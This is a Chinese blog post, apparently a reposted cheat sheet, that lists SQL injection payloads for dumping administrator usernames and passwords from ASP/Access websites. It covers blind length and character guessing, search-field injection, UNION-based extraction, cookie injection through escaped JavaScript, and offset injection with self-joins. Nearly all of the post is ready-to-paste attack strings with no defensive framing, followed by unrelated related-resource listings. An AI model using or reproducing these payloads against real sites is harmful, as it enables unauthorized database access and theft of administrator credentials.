`
tiwson
  • 浏览: 330669 次
  • 性别: Icon_minigender_1
  • 来自: 广州
文章分类
社区版块
存档分类
最新评论

注入语句详解---get注入;搜索型注入;cookie注入等

 
阅读更多
注入语句详解

转自残鑫总结

注意:对于普通的get注入,如果是字符型,前加'   后加 and ''='
拆半法
######################################
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)
and exists(select id from admin)
and exists(select id from admin where id=1)
and exists(select id from admin where id>1)
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
and exists (select username from admin)
and exists (select password from admin)
and exists (select id from admin where len(username)<10 and id=1)
and exists (select id from admin where len(username)>5 and id=1)
and exists (select id from admin where len(username)=6 and id=1)
and exists (select id from admin where len(password)<10 and id=1)
and exists (select id from admin where len(password)>5 and id=1)
and exists (select id from admin where len(password)=7 and id=1)
and (select top 1 asc(mid(username,1,1)) from admin)=97
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了
##################################################
搜索型注入
##################################
%' and 1=1 and '%'='
%' and exists (select * from admin) and '%'='
%' and exists(select id from admin where id=1) and '%'='
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
对于MSSQL数据库,后面可以吧 and '%'='换成--
还有一点搜索型注入也可以使用union语句。
########################################################
联合查询。
#####################################
order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
###################################


cookie注入
###############################
http://www.******.com/shownews.asp?id=127
http://www.******.com/shownews.asp
alert(="id="+escape("127"));
alert(="id="+escape("127 and 1=1"));
alert(="id="+escape("127 order by 10"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
###################################

偏移注入
###########################################################
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
a.id=d.id)
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
分享到:
评论

相关推荐

    SQL注入思路详解

    3.根据服务器返回判定注入语句是否影响了SQL执行结果以判断是否存在SQL注入     2.识别Web应用与数据库交互的可能输入点 GET请求参数 POST请求参数 Cookie X-Forword-For User-Agent Refer Host     3.SQL语句...

    (全)传智播客PHP就业班视频完整课程

    8-22 1.break语句 continue语句 常量 8-22 2.函数基本概念 函数快速入门 8-22 3.函数使用函数调用初步理解 8-22 4.函数调用深入理解 函数使用注意事项① 8-22 5.函数使用注意事项② 函数作业布 8-23 1.函数再回顾 ...

    史上最全韩顺平传智播客PHP就业班视频,10月份全集

    8-22 1.break语句 continue语句 常量 8-22 2.函数基本概念 函数快速入门 8-22 3.函数使用函数调用初步理解 8-22 4.函数调用深入理解 函数使用注意事项① 8-22 5.函数使用注意事项② 函数作业布 8-23 1.函数再回顾 ...

    史上最全传智播客PHP就业班视频课,8月份视频

    8-22 1.break语句 continue语句 常量 8-22 2.函数基本概念 函数快速入门 8-22 3.函数使用函数调用初步理解 8-22 4.函数调用深入理解 函数使用注意事项① 8-22 5.函数使用注意事项② 函数作业布 8-23 1.函数再回顾 ...

    史上最全韩顺平传智播客PHP就业班视频,9月份全集

    8-22 1.break语句 continue语句 常量 8-22 2.函数基本概念 函数快速入门 8-22 3.函数使用函数调用初步理解 8-22 4.函数调用深入理解 函数使用注意事项① 8-22 5.函数使用注意事项② 函数作业布 8-23 1.函数再回顾 ...

    韩顺平PHP JS JQUERY 所有视频下载种子 货真价实

    8-22 1.break语句 continue语句 常量 8-22 2.函数基本概念 函数快速入门 8-22 3.函数使用函数调用初步理解 8-22 4.函数调用深入理解 函数使用注意事项① 8-22 5.函数使用注意事项② 函数作业布 8-23 1.函数再回顾 ...

    EL表达式 (详解)

    EL表达式 (详解) EL表达式 1、EL简介 1)语法结构 ${expression} 2)[]与.运算符 EL 提供.和[]两种运算符来存取数据。 当要存取的属性名称中包含一些特殊字符,如.或?等并非字母或数字的符号,就一定要使用 ...

    Web安全深度剖析(张柄帅)

    5.2.1 数字型注入 66 5.2.2 字符型注入 67 5.2.3 SQL注入分类 68 5.3 常见数据库注入 69 5.3.1 SQL Server 69 5.3.2 MySQL 75 5.3.3 Oracle 84 5.4 注入工具 89 5.4.1 SQLMap 89 5.4.2 Pangolin 95 5.4.3 Havij 98 ...

    php网络开发完全手册

    11.2.1 GET方法 173 11.2.2 POST方法 176 11.3 常用表单数据的验证方法 177 11.3.1 姓名验证 177 11.3.2 日期验证 177 11.3.3 E-mail地址验证 178 11.3.4 密码字段的验证 178 11.3.5 改进的用户信息输入程序 178 ...

    php 反斜杠处理函数addslashes()和stripslashes()实例详解

    addslashes():对输入字符串中的某些预定义字符前添加反斜杠,这样处理是为了数据库查询语句等的需要。这些预定义字符是:单引号 (‘) ,双引号 (“) ,反斜杠 (\) ,NULL。 stripslashes():删除由 addslashes() ...

    亮剑.NET深入体验与实战精要2

    3.4.2 get与post方法的区别 146 3.4.3 ASP.NET服务器控件和 HTML控件的区别 146 3.4.4 Server.Transfer和Response.Redirect的区别 148 3.4.5 刷新页面的方法汇总 149 3.4.6 页面事件控制 150 3.4.7 在URL中传递中文...

    亮剑.NET深入体验与实战精要3

    3.4.2 get与post方法的区别 146 3.4.3 ASP.NET服务器控件和 HTML控件的区别 146 3.4.4 Server.Transfer和Response.Redirect的区别 148 3.4.5 刷新页面的方法汇总 149 3.4.6 页面事件控制 150 3.4.7 在URL中传递中文...

    java面试题,180多页,绝对良心制作,欢迎点评,涵盖各种知识点,排版优美,阅读舒心

    【Redis】redis五种常见的数据类型详解 123 String字符串类型 124 List列表类型 126 Set集合类型 128 Hash散列类型 130 Redis的有序集合ZSet数据类型 131 【Redis】Redis的存储结构,或者说如何工作的,与mysql的...

Global site tag (gtag.js) - Google Analytics